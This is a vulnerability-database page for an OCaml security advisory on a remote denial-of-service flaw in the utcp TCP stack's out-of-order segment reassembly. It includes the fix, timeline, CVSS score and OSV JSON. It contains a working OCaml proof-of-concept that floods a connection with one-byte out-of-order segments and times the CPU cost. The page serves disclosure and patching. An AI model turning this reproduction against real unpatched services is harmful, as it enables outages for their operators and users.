Vulnerability-Lookup

osec-2026-11

Vulnerability from osv_ocaml

Published

2026-07-27 19:30

Modified

2026-07-27 19:30

Summary

Out of order segment reassembly allows remote denial of service

Details

A remote peer that completes a normal TCP handshake can send a stream of small out-of-order segments that never fill the gap at rcv_nxt. utcp keeps one reassembly entry per segment (bounded per connection only by the receive window, about 65000 one-byte entries) and re-folds the whole queue on every segment, so per-packet cost is huge.

This has SegmentSmack shape (CVE-2018-5390): a cheap packet stream imposes disproportionate CPU on the receiver, and there is no cap on the number of such connections.

Solution

Instead of a flat list, a red-black binary tree is used for the reassembly queue.

Reproduction

let () = Mirage_crypto_rng_unix.use_default ()

let server_ip = Ipaddr.(V4 (V4.of_string_exn "10.0.0.1"))
let client_ip = Ipaddr.(V4 (V4.of_string_exn "10.0.0.2"))
let now = Mtime.of_uint64_ns 0L
let to_wire seg = Utcp.Segment.encode_and_checksum now ~src:client_ip ~dst:server_ip seg

let seg ~seq ?ack ?flag ?(payload = []) ?(payload_len = 0) () =
  { Utcp.Segment.src_port = 12345; dst_port = 80; seq; ack; flag;
    push = false; window = 65535; options = []; payload; payload_len }

let feed st s = Utcp.handle_buf st now ~src:client_ip ~dst:server_ip (to_wire s)

(* establish a connection, then feed [n] out-of-order segments that never fill
   the gap at rcv_nxt; return the CPU time spent *)
let cost n =
  let st = Utcp.start_listen (Utcp.empty Fun.id "victim") 80 in
  let iss = Utcp.Sequence.of_int32 1000l in
  let st, _, outs = feed st (seg ~seq:iss ~flag:`Syn ()) in
  let server_iss = (match outs with [ (_, _, s) ] -> s.Utcp.Segment.seq | _ -> assert false) in
  let st, _, _ = feed st (seg ~seq:(Utcp.Sequence.incr iss) ~ack:(Utcp.Sequence.incr server_iss) ()) in
  let rcv_nxt = Utcp.Sequence.incr iss and ack = Utcp.Sequence.incr server_iss in
  let st = ref st in
  let t0 = Sys.time () in
  for i = 0 to n - 1 do
    let s = seg ~seq:(Utcp.Sequence.addi rcv_nxt ((2 * i) + 2)) ~ack ~payload:[ "X" ] ~payload_len:1 () in
    let st', _, _ = feed !st s in
    st := st'
  done;
  Sys.time () -. t0

let () =
  let t1 = cost 2000 and t2 = cost 4000 and t3 = cost 8000 in
  Printf.printf "2000 one-byte out-of-order segments: %.3fs\n" t1;
  Printf.printf "4000 one-byte out-of-order segments: %.3fs (%.1fx)\n" t2 (t2 /. t1);
  Printf.printf "8000 one-byte out-of-order segments: %.3fs (%.1fx)\n" t3 (t3 /. t2)

Timeline

June 25th 2026: report to ocaml/security-advisories
June 29th: acknowledgement of issue with several questions for the reporter
July 6th: answers from reporter, including a patch
July 26th: patch developed by library author
July 27th: release of utcp 0.0.6 and security advisory

Severity

7.5 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Credits

Thomas Gazagnaire

Hannes Mehnert

Romain Calascibetta

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "opam_constraint": "utcp {\u003c \"0.0.6\"}"
      },
      "package": {
        "ecosystem": "opam",
        "name": "utcp",
        "purl": "pkg:opam/utcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "08522428c957d796a6455d5aad434701c879fd4e"
            }
          ],
          "repo": "https://git.robur.coop/robur/utcp.git",
          "type": "GIT"
        }
      ],
      "versions": [
        "0.0.1",
        "0.0.2",
        "0.0.3",
        "0.0.4",
        "0.0.5"
      ]
    }
  ],
  "credits": [
    {
      "name": "Thomas Gazagnaire",
      "type": "REPORTER"
    },
    {
      "name": "Hannes Mehnert",
      "type": "REMEDIATION_DEVELOPER"
    },
    {
      "name": "Romain Calascibetta",
      "type": "REMEDIATION_REVIEWER"
    }
  ],
  "database_specific": {
    "cwe": [
      "CWE-400"
    ],
    "human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-11.md",
    "osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-11.json"
  },
  "details": "A remote peer that completes a normal TCP handshake can send a stream of small out-of-order segments that never fill the gap at rcv_nxt. utcp keeps one reassembly entry per segment (bounded per connection only by the receive window, about 65000 one-byte entries) and re-folds the whole queue on every segment, so per-packet cost is huge.\n\nThis has SegmentSmack shape (CVE-2018-5390): a cheap packet stream imposes disproportionate CPU on the receiver, and there is no cap on the number of such connections. \n\n## Solution\n\nInstead of a flat list, a red-black binary tree is used for the reassembly queue.\n\n## Reproduction\n\n```OCaml\nlet () = Mirage_crypto_rng_unix.use_default ()\n\nlet server_ip = Ipaddr.(V4 (V4.of_string_exn \"10.0.0.1\"))\nlet client_ip = Ipaddr.(V4 (V4.of_string_exn \"10.0.0.2\"))\nlet now = Mtime.of_uint64_ns 0L\nlet to_wire seg = Utcp.Segment.encode_and_checksum now ~src:client_ip ~dst:server_ip seg\n\nlet seg ~seq ?ack ?flag ?(payload = []) ?(payload_len = 0) () =\n  { Utcp.Segment.src_port = 12345; dst_port = 80; seq; ack; flag;\n    push = false; window = 65535; options = []; payload; payload_len }\n\nlet feed st s = Utcp.handle_buf st now ~src:client_ip ~dst:server_ip (to_wire s)\n\n(* establish a connection, then feed [n] out-of-order segments that never fill\n   the gap at rcv_nxt; return the CPU time spent *)\nlet cost n =\n  let st = Utcp.start_listen (Utcp.empty Fun.id \"victim\") 80 in\n  let iss = Utcp.Sequence.of_int32 1000l in\n  let st, _, outs = feed st (seg ~seq:iss ~flag:`Syn ()) in\n  let server_iss = (match outs with [ (_, _, s) ] -\u003e s.Utcp.Segment.seq | _ -\u003e assert false) in\n  let st, _, _ = feed st (seg ~seq:(Utcp.Sequence.incr iss) ~ack:(Utcp.Sequence.incr server_iss) ()) in\n  let rcv_nxt = Utcp.Sequence.incr iss and ack = Utcp.Sequence.incr server_iss in\n  let st = ref st in\n  let t0 = Sys.time () in\n  for i = 0 to n - 1 do\n    let s = seg ~seq:(Utcp.Sequence.addi rcv_nxt ((2 * i) + 2)) ~ack ~payload:[ \"X\" ] ~payload_len:1 () in\n    let st\u0027, _, _ = feed !st s in\n    st := st\u0027\n  done;\n  Sys.time () -. t0\n\nlet () =\n  let t1 = cost 2000 and t2 = cost 4000 and t3 = cost 8000 in\n  Printf.printf \"2000 one-byte out-of-order segments: %.3fs\\n\" t1;\n  Printf.printf \"4000 one-byte out-of-order segments: %.3fs (%.1fx)\\n\" t2 (t2 /. t1);\n  Printf.printf \"8000 one-byte out-of-order segments: %.3fs (%.1fx)\\n\" t3 (t3 /. t2)\n```\n\n## Timeline\n\n- June 25th 2026: report to ocaml/security-advisories\n- June 29th: acknowledgement of issue with several questions for the reporter\n- July 6th: answers from reporter, including a patch\n- July 26th: patch developed by library author\n- July 27th: release of utcp 0.0.6 and security advisory",
  "id": "OSEC-2026-11",
  "modified": "2026-07-27T19:30:00Z",
  "published": "2026-07-27T19:30:00Z",
  "references": [],
  "schema_version": "1.7.4",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Out of order segment reassembly allows remote denial of service"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

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